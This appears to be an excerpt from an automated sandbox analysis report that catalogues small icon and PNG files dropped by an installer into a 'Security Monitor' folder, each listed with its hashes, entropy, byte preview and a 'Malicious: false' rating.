Preview:	............ .h.......(....... ..... ...............................=...=...=:..=v..<...<...<...<...<...<...<v..=:..=...=.......?...?...>...>...>...>...>...>...>...>...>...>...>...>...?...>...A...@...?...?...?...?...?...?...?...?...?...?...?...?...@...A...B:..A...A...A...A...A...A...A...A...A...A...A...A...A...A...B:..Cu..C...C...B...A...A...A...A...A...A...C...A...A...C...C...Cu..E...E...D...S.......................L...g...s...D...E...E...G...G...D..........................................E...G...G...H...H...G.........................................G...H...H...J...J...I.........................................I...J...J...L...L...K.........................................K...L...L...N...N...L...}..................v...L...p...{...M...N...N...Ou..O...O...N...N...N...N...N...M...N...O...N...N...O...O...Ou..Q:..Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q:..Q...S...S...S...S...S...S...S...S...S...S...S...S...S...S...Q...T...T...T...U...U...U...U...U...U...U...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-7PKRJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.275771912287761
Encrypted:	false
SSDEEP:	24:INtkHVr7SidRa/Obkfbw8H1y3LIseAevOGZ0bTsB:LVPS0a2AfjeIEeBZ0bTsB
MD5:	6A4FEA20675B423DC5B6AFC565BA2D57
SHA1:	D241A8C16A86789F1B28EAA58B164AE6C9457FC1
SHA-256:	73EC225A303B4A44537CBBCFEB5FC07BB8EEB9FDFE0FACA788309CC7C75F3F74
SHA-512:	2948886496B704F85A71549341A1D8E5DE36375CCC6FF79B0F95BB6FC755147DE35C6F556E02CFF916B5967F95891E1586F065DC329A68E057093032B485A4A0
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................................K.}.s......(...)........w...H.....!... .................W.#.n..&...<...M...i...k...[...C...+....q...K./.............W.#.u.....A...>...'......5~..&...;...G...2....x...V.,.........l.."...>...'...!T..-(..BA..MN..>=..)4..%...D...+....r.......[.j..../...5....J.."...("..63..=;..40..' ..!)../...8........p..p..$...8...+~....f.....$...)"..,&..(!..$........K..:.......v...}......>... F....4...d.......................\..+`.9...3........~..3...C...Ni......................................7...8........~..2...E...?d..z...............................f...9...9........}..0...L...Y...]...]...`...c...c...`...\...]...Y...N...8........r..1...U...\..._...v....xs.....}..........._...^...W...8....y...b.u....R...W...f........LA..........LA.....g...Z...V... ....w......r.....^...m...........................p...a.../....z..'........W.#.w..-...x...........................\|...1....z.....M.............W.#.s..&...k...................o.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-8TP7V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	921
Entropy (8bit):	7.692568178991757
Encrypted:	false
SSDEEP:	12:6v/7MIPvdQrswMHeAQQI/hnoG82ukRW61fAKmg0sLyVFIMVwIaJ2OnksgHDPkInc:MersR+SIZbnu+FXaYyVBtM2Oksgjlzv4
MD5:	A319CAB2BDD2363F2CE6F71874255367
SHA1:	606F86B9B032C74B9A88240A9A4933B4EA256C52
SHA-256:	0644CF298FE403904496AF78ADDCCDB46C1D3A324BC996A1423F9CC581EBFA39
SHA-512:	D74BB956EF9011436A44617B8DB7519F8335A10F55805BEC4CDB673F971E148614B9A4068146D182BB6024B5774C85CB35A4B10BEC5307F2C367179DEB45E07E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...`IDATx.].Mh.e..w.....Mf..k...BK..B+I..A.%...z(V..b.S...E.=..J...DR.R.P#..d..I..Iv...$......uczp..wx....K.o....;...8$.;Ax...).J..X..;.;...Ru/....<.J.b...`X9x.B.m@I..a-~...Q..p..V...[.....}.h_T.z.........m...6.b......-;..................#pD/........n9.g.....s...F9}..?..</......P..+o.Q.I`f/.^Ma./..\#..N.!..(c....R.S....=.....xX....L.S......}...X._~..8u\....&....p.......w.J..g............1..M...d...x6.......~..yr......[q.......^...@9.efr...:.J....8.O!...X...Y.}.........U."..sbYTm....6.O.5.....[.-.YBK_....W./..x....NVJ..g..e.c..a...../$..&.. sC.t./....].w.na.....4^..S.-..f..Mp....../......;.G.~.+...#..,..<....c.i...E,K&..4D{$.fVaL.\n.....l.WO....,.wL..W$...l.. ..!....c...T.?_e.]...Fd.....h.d..&...m.].4t.u#...^0..y.J....e...Rn..... ...1....U......Av\|}s\|...{#....1..T&......V]J.a..<f..\|..~.b...?U/...e.g..<wM.5.}.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-9G9CC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.758725240902144
Encrypted:	false
SSDEEP:	24:PLiyUaMQzTd2JxkVLDF0b5YPQfmCmGnX49:DFKmR6kVne5YPxCmEa
MD5:	5B29258244BCAD93923044B9CA6349A1
SHA1:	CC6CC6ABE4420DFA97552F5A1FF0DACA652AACE6
SHA-256:	A7D4C1C8C6FCEC92068D60D0DEFBAA38EA75010D01EA753FC913749CC89E8FDF
SHA-512:	AA8345E54E397D1AECE33F8CBE66B12AAB5F373109C787DE7C8C23BB0949A2B184CC1FB2E08CFA66F7374ABFD26EAA21D85857C74B67AEE31590A197971AF15C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.MS{L[u.=.{o.K{)miy..<G......sF.#..d..;F.#S.-:53.ht31n..BLD.0..9E.3,u.s!.2....W_./.....k.h8._.9...\|.s.7(..!..D..&.g..m.9..D.......-..r..#....!.N.V.+U..tu#".!K2..........db\|"}.?.[s\>....x.....1....T.......z....;......lgv.4.\...\|~,...{....Mk........s...&To..y...H..........l.}m.h).....l.`k...@.O.....6$.N8[...k\"...m.'8....o....i..<......X.HM..Z.H..4R&..P.:k.7..?.zH.....9v.u.`..E..\|Dy...UP3Z.5)..).~5.."..H....v...>..H.......f!u.iEF@.M..k..]......NM".1.K.....,....0(}Dl.%...D.D@"...hp^.C[.g.c@$..w_.K...B.&u`\|..\|..66.>@(...r.......`t......#....i...J..,.....T....oN.V...%.......H.n.v.%...i/.4D..)....w<".=...+ +.......Xw."....\|...s.%..#/g5...8..@...l...........[.E&.`%...w......t.U....w99Z...A...F.v.:(M.O<..W..{x!.z4..)p.<.G..Z.X..A...tu........n.n...9.hy..>...~o....i....1.....O...ZK......&.f=...SW../`\M.......".Yds.R..:.CY...~+srI.@...E.?f...W...aI..,\Xyy.........u..G...{...D.P.....X-...k.b..D.Y^.........1....IEND.B`

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-9QS94.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	586
Entropy (8bit):	7.630848437869861
Encrypted:	false
SSDEEP:	12:6v/7czkgzR/pOsg/sx7MiqeJACAHDTOipuwsOmA8PJO/Y7:xQgzRBX6e7nmC+puF9U/Y7
MD5:	FA83ECDD6AFBEFE0DD30A620574872DE
SHA1:	8B3299A9244809F9541BFFB7A1CCD8D58AB53EB0
SHA-256:	9AEA100DC1DCFA58A542BD9294F67B454CFD8669CC199F6C43ECD9A4C3E99E1D
SHA-512:	202937104E00E187A4CCB1D3D2352F19E1966E71DF015D1E5E529B3C148D4A91FCFF18C0D0A08CB23660962BEC06417D1EABD47D0F48A07A5DB22DFC4EB6048D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.RAk.`.~c;.U..x..._P0..).t./....":$.......2iuu......O...VH.A>..^..S.....l...H...........}... ....II.E..".$ID....`_X.5.e..q.....q..@RK.U..=..MUT^..!..!hC..X.^....v..RG..j..).&.q.0.oM....Ah..w.....PJgj.....U...^..?.a`......3_..]..)..{9.......P\).z...t.-......pB..Z.QZ).........>...O..C.....%.....O.>q.4....kS...{..... ..Ks.....v.N.....H.<.kb.;....U0f.G..J.._.......?.......q?..-...U....[3v....&.D.Q5.G...IY..7?o...C..,..%*.e.=..~.g.......D.X.Q..]........`+..W.J.^..y.Wm.._..,5....1.sXU.o..<._.....J..Wa.g7....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-A3UU9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	946
Entropy (8bit):	7.732040020903732
Encrypted:	false
SSDEEP:	12:6v/7Md+AhCq2Ci1b9Hm4UEtkvfdjXxYoCa0jn5/Pt1hC5VbxePpNS/XnxQmHm3EZ:hwRUEtWzxvC1RPpC5Vd4NS/Xnxjnn
MD5:	2F8627CE7D0210CE8A83A237AC9E7FFB
SHA1:	1F7C014538E93EDF5EAB0721AB007C946EDE8130
SHA-256:	CD701C56968BF7138417063032D62ADAFC272C8C6FC98D527AEA342359DA0F7D
SHA-512:	CCDA7916E676BA730D0FE9F803E9CFFF37BEED65B9DA776DA6113B33A75ED351E699D9923B68D37AD83BA04A123815A160E53F24840DF73580802AA510BFF81F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...yIDATx.mSmlSU.~.mo..s...].I[....2..]c..($K.D...1.jP....2...HH4.D...3!.c..c...l...M...]........u?..{sN.7'O....!......N.d'mP.4.kf#.L...N..J......H.,...F..$ ..._. .".B.B.dO.....?.7.?...]Q`...f.-. ).22..,.,W.x..f.X....l>z....{...I..`<b.....4,U5..[.U.KSq,f.H&.{g....2...#.Pt)....aJ.g...[?...{@<.<L.....m...3n..oG..d.\_{.h..=...>L...NC.v..#.h...cu..........%l{...a(c.H./..h}.h.v_13U..5...b....I....W.e.Y.?.-...h....-..M..y8....'.._b..#E/.Q...'<.8.n. I.O$...^.C..8.Z3n...XM....................V3..c..6.@V..P`...=LNL.6.....(l...)A...-S...c."...\|...N....;}J. ...Q...2h.....tt...R....~z.I(.._.L....z?Z.jd...$I.@D!..-....G..0iA))Y..k.r.n.H.S!...m..:j.p:..-[... ......_........).UL#7...?9.l$..Q.V.6.".N.^...k,6.1.CZ.".....!....";.....e..e.]..VV..^Rb...&c.UW...f-m1.tn..2.....`....Y........B.f.e.......`.k*.z..".......W q.U."dZJW.3o.'.u...?..O........m V.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-C9L4A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5511716867819327
Encrypted:	false
SSDEEP:	24:BifyRHHHHHHHHHHHlKDAYHQhY4O4ZYwg7iTT5:wfyHHHHHHHHHHHgDAMQhY4O4ZYwg7iT1
MD5:	F311592151DC7F196CDBC8AF6D426B28
SHA1:	159C11940E4F380F62D56AD12745600EDBEF1E15
SHA-256:	03290429CE68AFD7507C177C9446EFBCC47CFD040DECA70105988D0057919317
SHA-512:	A3259406480C89E73B408DBFDA00B8CBE5F2B168A1C46F6FE73A228B167CDC532FFBB315BD027B130634B8A248F488BD2ADA22CA5A45DF2AD3E728D3FA5DA832
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................l.(.l...l...m.?.m.`.m.\|.k.y.k.].o...............................r.A.q...q...q...q...q...q...q...q...q...o.7.....................u...u...u...u...u...u...u...u...u...u...u...u.o.............y.a.z...z...z...z...z...z...z...z...z...z...z...z...z.^.........~...~...~...~...~...~...~...~...~...~...~...~...~...~.........\|..........m.......................3........................\|..............x.......9.......'.............................................................................8...................................8.............................................................................'.......9.......x.......................................8.......................m................H...........................................................G..........................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-CE435.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.689986023244019
Encrypted:	false
SSDEEP:	12:6v/7hFFKT/SNQRb8l3lGQdnJ5l9hfP5Y3OLHLeTS8T38YuFc5Hdp8rMPLQX:2rW/SNQRgl38UnJ5Vfy3OjLZ8T38YuFz
MD5:	BA4DA486665B6C79F792A39BF6F03ACF
SHA1:	3746A3488D981870D9CDC6FE16DD6C8171DE6E0F
SHA-256:	5444F65B5694092DD587F8C3E8BB44E159556E45688C856BD5F9515FAD6FF2B8
SHA-512:	9C3D87AEB7C2E5CF5FC08DBF666E9DBBBE431EF71BB83D5C769C9F88DDFB41934C404D72985E320B6BAF0C9F1FF45E057B82C76EBA54BFA01BF2456533F3C0D5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.S]HSa.~..;.gS..,KDSG6I....$..D..........B.X....].".EH.Be%.$^x......!.b.%..s..Y..%..q...>..>...4. .....&s.~W...X}./..YO....R............h.....Ju....$....e...ij.O...\..%..w..pp-..8I.x...5.]..u.$vo.J.(....b..h..TC.K...>1D.p(.po..5.i...}..:.eP..a..edGs.C.v.y2t..)...OGMA..$..J.v....)\|...$.7Ed~.E.[.J..1...n..'.......BaD..[.) ....(~.1PA...U^<@.y.=,5c\'(rYP[.@yN.0...\.)FV..Q......3.hK.Rb?.j.....j^....q"?.......-....'...)..'.QD...7..U.....^...w.g.........>.......o?e..o.>Bl.A.]+d....C..f4..C......7...?..V...RZ.;/D.V..(...G5"...G.wO.L.D..K-.m-. !......`M...p...evT.L..].....:.P.{...@L..R..r[..?.1.`...+N=...i@S"j2......2!.c....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-CKQ4V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.54214238379203
Encrypted:	false
SSDEEP:	24:6eIPdVt3Mxoi5U7YoFhqG0f9tX9vWHpWcd9JU:6NCSFhqlvWHpWcd96
MD5:	A7F6DC763A6C440673C6A65E1174379F
SHA1:	E3FE4B3EA5D58231C0326BD5BA9BC1A15D6C095D
SHA-256:	442AEC90EE87A5859CB87703F0ADA203796A24A36F8FA7AAA5C80E87995F1E65
SHA-512:	6A06B633363C13F056B8A23CEB3D507427F26DEC1844A043D49B99BB7F95C18BA21A1F08457E7A714F17A6D1A04ECC6DCEDB855D439E5D881F6D3CFB3C7517CB
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................9z.q6t..0q../v..'f..3g......-Y.i.X..7w..:{..6w..9{.z............,~..G...!.......D............E.......,...)...0................r.>1...M...............................6...6....v.'................7.......................................5.................#...#SM......./G..2I..........................Vw.. ..\........1"&...#.^hw.....,A..@Q..........................&...$...$.......A22.-.#.C?F......-...-..4O..Mf..~...............&...%...8/......C44K<./.=:n..+...6..'E...=..%I..3S...?...2..%;..).(.0$&.?43K......../+`..)......%0..@O...'...,......-...$...5..-2..('g.).!..........$.0!2......................................$0...)................y...[..".........Z...(...............$."...A.....................+ #.,.".+.".....................&.".%.".5.-."...................-"%.6&(.2#$...........o.........!...%.".,''.....................-#$)P;:.Q96.....................&.!.%.!." .5........................I97`fMJ.J53.0#%.*.".(.!.'.!.&

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-D8KLK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.8378245167837792
Encrypted:	false
SSDEEP:	6:ttl7t4rfiKKc1XgZUZUZUZUZUZUJXm5ZUZUZUZUZUZUZUZUzC25ZUZUZUyUZUZUg:vlJcP+mpC2KC2KC2KC2KC2Kno9gH9Pcn
MD5:	9647EA4E877FE5A0A08E611D46767EBD
SHA1:	B64CB43619FF5F96F26C0FEFD03CB96373E1E0D9
SHA-256:	DB32B69F2877535C81DFD48ACCA5251BCEED320C1E8A03135F8C80C11D6F248A
SHA-512:	ED6CDB303CBEF7378C1EE1EBF22F9EACF59D354F3157766E486F2A8CEB5E30F11B11F0D289B254F83197F07208C7DF3A14E9EBA3680E38D6CCE6D4AD791F3DCE
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..............................................{ .{..{..{..{..{..{ .................................{ .{..{..{..{..{..{..{..{ ............................i:7.i:7.i:7.i:7.i:7.i:7.._Y..{..zr..YP..YP......SK.SK..SK..SK..SK..SK..SK..SK..SK..QJ.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK..SK..SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..x..YP..YP..YP.SK..SK..SK......................SK..SK.i:7..{..................SK..SK..SK..SK..SK..SK..SK..SK..SK..SK.q?;..{..YP..YP..YP..YP..SK.SK..SK..SK..SK..SK..SK..SK..SK..VN..{..{..YP..YP..YP..YP..........................{..{..{..{..{..{..^U..YP..YP..YP..........................{..{..{..{..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-ESC9P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	763
Entropy (8bit):	7.6950381846314215
Encrypted:	false
SSDEEP:	12:6v/71dxGeeaA/as1IpxNhX3HqPPwVS2TgW41SeJq5RXB4f4a:oqeeaAT1IpxNhKXNW5VBO4a
MD5:	F38AF891CBBDCD155644E65363A01520
SHA1:	BA161945A3E87EA2B3735165854E8AEF28B4F201
SHA-256:	DEF30878F80E5B00CE9F334170DD6369127C52E03959F5673B7193D8B21EE80D
SHA-512:	AFB7BD4EECEF8B2E9E082E3A7203DC393E92683B4AD2B301072A4BC8C22D710AF740BC553EE92997C714FD80F993A3BE0257EC09FF46C75AEEC3EB615553613C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..iHTQ...o..of..mT,M.@..Q).R"A.......Yb~0+..,../.}.>....X...J..DV..6.3..t.w{c$A.A....=.w.{....j'.....4-.K$T...W.w$...3m.H........ZT._.t6$..4.....\Z.....#.Z.....V.Og.....Z.oxm._..F..:.;,..0..1.Y.i..^....;qs..}..F..m.6].....JH..W.1.......D.....Rn..!O..T,%..z.........{(........,._.....&....#...........9">..#N..?....l.D.dO..&.....4....0..V}$b"u...ly..0....].F....S........b.....U......P.....@&.B....0.A.\~}A....I!..Eg..0.Z...M^........O.2.Z_.4.Jpv..6C...D.td.....94Db..E..7..,.J...J-..2..,..8T....p.#C.k..SU.y..g[..~a^.q.=.C6k....w.IT+4../...eY..p.P..En.....rY... "j.... .^..l......:.p}PS6P........o...fdD..8.S.&..(Z...A...uqD...f.Y.i2.{?s...}.fMNK..u.].z3.....'....K.R....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-F07T0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.614804652904851
Encrypted:	false
SSDEEP:	24:Biiii8ibi0TiSDiiuYxId1diiiiSiiiwKrkIzpJi4arAJbJbJbJbJDg:Biiii8ibiaiSDiiTxIfdiiiiSiiiwKr2
MD5:	92E919F7716BFEC2191169F9D1513737
SHA1:	E7BEB2821E116084C0A516D754A0C7A534956BD6
SHA-256:	C5CB556AFCF8E5F48AA604646FFE93AEDE2607342C4AA93D70791ED8C4FFFE4B
SHA-512:	574F731D0220B353AEAC4B442E6ADED51CE54A7BE93BF3EFC3A7EB8F15161FAA3A1806C859C585ACCC351195AA0376608A5ED5B126DD552296D2305367008014
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.............................\|\|\|.\|\|\|.\|\|\|.........................\|\|\|.\|\|\|.\|\|\|.................\|\|\|.....\|\|\|.......=...$..Y...Q......\|\|\|.....\|\|\|.........\|\|\|.\|\|\|.\|\|\|.....\|\|\|.......T...7..n ..`%.....\|\|\|.....\|\|\|.\|\|\|.\|\|\|.\|\|\|.............\|\|\|...../.n...J...(..g'.....\|\|\|.............\|\|\|.\|\|\|.....\|\|\|.....\|\|\|..........a...,..u(.....\|\|\|.....\|\|\|.....\|\|\|.\|\|\|.............\|\|\|.....{....Z...3..z*.....\|\|\|.............\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.........................\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.................\|\|\|.....'.U...A..t3..o:.....\|\|\|.................................\|\|\|.......Y...7..q...\".....\|\|\|.................................\|\|\|.....{....\...-..r&.....\|\|\|.................................\|\|\|.....o.~...^.-.C.=.>.....\|\|\|.................................\|\|\|.........................\|\|\|.....................................\|\|\|.....\|\|\|.}}}.\|\|\|.\|\|\|.........................................\|\|\|.....\|\|\|...........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-F8DRF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.984582163595734
Encrypted:	false
SSDEEP:	24:ltjzPCZMaBUC2R0pwXqeCvJX/JutpSu39Gl/GofW9y88rk:ltj05gBXqeCJ/8pSx/Gp9y88w
MD5:	4EAA9A0B583BB8C8A369753DBD0DD0EB
SHA1:	2D8F80DF55ADB806651E9B90C32C287825EFA9B6
SHA-256:	EABEFD31E31D5141F75E760FCF96F14844F0824BD20C3FAD28C6E7C6AF4342FB
SHA-512:	B4B5CE8697B0B195F5DFF361B7822207CBC8BB07A3318154A4652A663F9715958770B55ED9D8B0F5EE37AC5BCDD19C4D2389E7D644187B86762565ED27613D8D
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................................................................................................................t4..z9..z9..z9..t5.....................!.9.&.=.!.9.!.9..v4..q3..z9..H..E...D..z9..q3..q3........OG.X.=.O.-.C.`.v.`.v..x8..W..z9...M.f...5...+...%...+.../...?...I.[.\.s.8.O.[.o.[.o...D.....G...J...X...a...X...O...K...V...U...=...`.t.?.d.S...J...S...a...o...a...J...E.....y..d...B.....J...O...Q...Z...f...s...i...W...N........j............K...../...J...X...[...X...L...b....z.................z..Pi........R.eHc.w.m..s...........V....................U..U.............R.eoQ.d.O.b.M.`.L.^.g.Zl.W..W..W..W..W..W.....................:.JW9.J.9.I.9.I`.....q3$.z<.r3..{=.t5$........................:.K.......9.I......{=..\|......X..\|>.........................;.K......:.J......s4.........\|..v6.........................;.LE;.L.:.K.:.KN......@........t...A..............................................~?!..E..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-F9LNN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.7197016545374275
Encrypted:	false
SSDEEP:	12:6v/7Mx+Nre92kjEfcc8YhUaUuYE67bCIUMn+VnMUHAqOIjaDD/yJgQGToLYZFN:Z+LqERhUO67bCIZfmAajkj3tyYjN
MD5:	D9F77B09484FECF86DAB1E27B61481C3
SHA1:	D514C22AC2A1AC4B0826E38C48BABD9CBB077F9F
SHA-256:	CBFBDC4F27D2DE65E5F38B4233C967F1781449DE939BDF7451F2548511CF8F95
SHA-512:	606E0E9800296568C06F6015BB6DF091D5B75E516056032FB28CA1508E67AA0E8BBAC978981CA9FF492F54A7CFE02DF233042442F707588E6E8CFD82C7F8B93C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..kHSa......t.4..kj...I0)l.y...ZF.Fe.D.%K.K.....FVH..A.Y..Z..E. .".L..sz.,.\|.}.....wx...O....>... \|.x(x.;!..;S..n..' ...o;.y.TJ!.E)"!.xbh...^..V......,....vG....%.E...7......o]v.l.a..1<_jN24L.hL..,..5q..a.q.V..C.p...=fcup..B.........X^..t......Z.lSX.le@.J..\..kh.B...a.].}(eJl....=e.~..,:C....Sw1..//...W. cd(.[...g0<>....hT.8n.C.<D.i..}`.1...=E.9s~.)u-2............c.m..G.pN..(...:.!a$Y?.W...rN,.A.9...u.X.0292.....Q'.7..T".M...\|...#....".2z'.i.i...,X....+TT7..S..k+..D'...R..q....p....n.`..\..btr..T......D.M...Op.vr,H.T..-.../Fm..T..{....*XG.X...o..qOt`GD..}~....0..Ytm.S{.5.Hvs.mE..yn...=.uC.N....;..O:.....i..R......R.Ix......../..o...x>........7jZ..61.1....6..#..<H. .x...."..H..r...iY.S".Ob.......:cf..L,.9NI...Hgu.........4..`......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-FKG2G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	524
Entropy (8bit):	7.51499904676362
Encrypted:	false
SSDEEP:	12:6v/725PQZeziVpf6wu0rWQ6Rfcho1S01oS77Qtytds:zJQYgB6wnrWQ6ih0WSQtyns
MD5:	6A3D971DD10943973AD7CFF8776678EE
SHA1:	1FC9EA38435DBA93A64B9E48C7A3CCDED3D92333
SHA-256:	EDB59D1E30DEACB83DCCB9CA2D7F83FC52066CAFC7A8E0A633B9B0DD01CDA360
SHA-512:	B5C8C60578504EDD4EDDF7C5A9CC17BA3D04773CA200D5A8189D22C06BAA9081382F6D3FE076771F385AF7DAC51196AC4BFEFF1852A5E16BBF9AE6D1599FFE0E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..OHTQ...w.p.".DP........$Z$.ZD......FB.A`.`.%r.b.....E.T.....I.h!R..B(*2....o.hP3..y....q.w.u....xH.S^..}'.B......q..nY1K\Q....qW.......D.se......67......,...r.8.[......L..-....n...[....3..K.....N.q.q.f.n.$....k`..DGaf....Z3..<0...u..w%.A.^...Y....p.-.U.t...p...s.E).....:.[T.a.&(..'S......B..B.%u...T=....w..{....{..T........t..^...U.u....pbm.l...G....8.8c..EgT............R..G.w..-t...,......a.....]......t...]2.!....=..7...W.......X.......7.#.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-GQ638.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.20340524330819
Encrypted:	false
SSDEEP:	12:F5e2nwbQh05puMPaz5NV9/COvwqsvuKMBwnwfqHtJZcaHqtMbHgGomu/HAmlMscR:aCupu0az5l5R4t7bHqkAN/H7WrefjU8W
MD5:	6974D5655CF050D09AEDEFB0A870B09C
SHA1:	2C87D6EFB277163490FFF31C594A5127E8D0B509
SHA-256:	A5761AE112ECB0B8CA16EDD77F9B112D983D7F8B0C229A8099E1A35B2E4F6993
SHA-512:	AA3DBE81C2BFDBDBF4EF81DE63685BEC3743762254476F278E1FC6956A39910E2C4A1E83E491AB579B107FC0496E134AB946800D7D2CA367AE4AF2E109B6741C
Malicious:	false
Reputation:	unknown
